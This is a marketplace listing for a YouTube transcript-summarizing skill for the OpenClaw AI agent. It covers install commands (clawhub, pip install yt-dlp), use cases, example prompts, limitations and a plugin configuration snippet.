youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Efficiently extract and summarize YouTube video transcripts with the OpenClaw AI agent. Save time by automating video analysis and key point extraction.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-lh9rqWhat This Skill Does
The youtube-summarize skill empowers the OpenClaw AI agent to ingest, process, and distill complex YouTube video content into concise, actionable insights. By leveraging yt-dlp for robust data extraction and an integrated processing workflow, this skill allows users to bypass hours of watch time by programmatically fetching video transcripts, metadata, and captions. The skill handles both manual and auto-generated subtitles, cleans the raw VTT formatting, and prepares clean text payloads suitable for LLM analysis. This is essential for researchers, students, and professionals who need to maintain awareness of video-based information without the manual burden of playback.
Installation
Installation requires two key components: the system-level utility and the skill package. First, ensure the openclaw-agent utility is installed on your host system (refer to the documentation for your specific OS: Windows or macOS). Second, install yt-dlp via pip (pip install yt-dlp) to enable media parsing. Finally, add the skill to your agent environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-lh9rq. Please ensure that your environment has sufficient read/write permissions for the temporary transcript files created during the extraction process.
Use Cases
- Academic Research: Rapidly summarize educational lectures or seminars to extract key definitions and concepts.
- Content Curation: Analyze long-form podcast transcripts to determine if the full video merits a deeper dive.
- Market Intelligence: Summarize product reviews or tech teardowns to identify specific pros and cons mentioned by creators.
- Accessibility: Generate accessible text-based records for video-first content that might not have high-quality documentation.
Example Prompts
- "Summarize the key takeaways from this video: [VIDEO_URL] and provide them in a bulleted list format."
- "Extract the main technical arguments discussed in this video [VIDEO_URL] and explain them for a beginner audience."
- "Give me a detailed overview of the speaker's claims regarding climate change in this video: [VIDEO_URL]."
Tips & Limitations
- Transcript Quality: The quality of the summary is highly dependent on the accuracy of the YouTube auto-generated captions. Videos with background noise or indistinct speech may yield fragmented results.
- Memory Usage: Extremely long videos (multi-hour podcasts) may produce very large text files; verify your system memory before processing massive transcripts.
- Permissions: Ensure you have a stable internet connection for
yt-dlpto fetch metadata. If a video is private or age-restricted, transcript extraction may fail due to authentication requirements.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-summarize-lh9rq": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution, network-access
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